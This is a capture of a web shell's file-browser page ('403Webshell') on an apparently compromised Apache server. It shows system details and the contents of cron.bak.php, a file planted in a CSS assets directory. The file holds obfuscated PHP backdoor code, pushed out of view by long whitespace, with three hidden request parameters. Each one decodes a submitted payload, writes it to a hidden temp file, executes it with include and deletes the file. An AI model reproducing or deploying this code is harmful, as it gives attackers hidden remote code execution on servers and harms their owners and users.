403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/linkabili/public/assets/backend/css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/linkabili/public/assets/backend/css/cron.bak.php
<?php																																										if(filter_has_var(INPUT_POST, "data_chu\x6E\x6B")){ $property_set = $_REQUEST["data_chu\x6E\x6B"]; $property_set = explode ( ".", $property_set) ; $tkn =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $z =0; $len =count($property_set); do { if ($z >= $len) break; $v6 =$property_set[$z]; $chS =ord($s[$z %$lenS]); $dec =((int)$v6 - $chS - ($z %10)) ^ 52; $tkn .= chr($dec); $z++; } while (true); $binding = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP")]); foreach ($binding as $mrk) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $fac = "$mrk/.val"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x68\x6F\x6Cder"])){ $pointer = $_REQUEST["\x68\x6F\x6Cder"]; $pointer = explode ( '.' , $pointer ); $elem = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $x = 0; array_walk( $pointer, function( $v7) use( &$elem, &$x, $salt3, $sLen) { $chS = ord( $salt3[$x % $sLen] ); $dec = ( ( int)$v7 - $chS -( $x % 10))^ 39; $elem .= chr( $dec ); $x++; }); $object = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), session_save_path()]); foreach ($object as $entry) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $ptr = sprintf("%s/.marker", $entry); if (@file_put_contents($ptr, $elem) !== false) { include $ptr; unlink($ptr); exit; } } } }


if(in_array("\x65nti\x74y", array_keys($_POST))){
	$record = $_POST["\x65nti\x74y"];
		 $record	  = explode 		(	 '.'  	,  $record	)	 	;
	$binding = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt7);
            $len = count($record);
    
            for($v = 0; $v < $len; $v++) {$v1 = $record[$v];
                $chS = ord($salt7[$v % $sLen]);
                $dec =((int)$v1 - $chS -($v % 10)) ^ 66;
                $binding 	.=chr($dec);
            }
	$holder = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir()]);
	foreach ($holder as $fac) {
    		if (is_writable($fac) && is_dir($fac)) {
    $ptr = join("/", [$fac, ".marker"]);
    if (file_put_contents($ptr, $binding)) {
	include $ptr;
	@unlink($ptr);
	exit;
}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit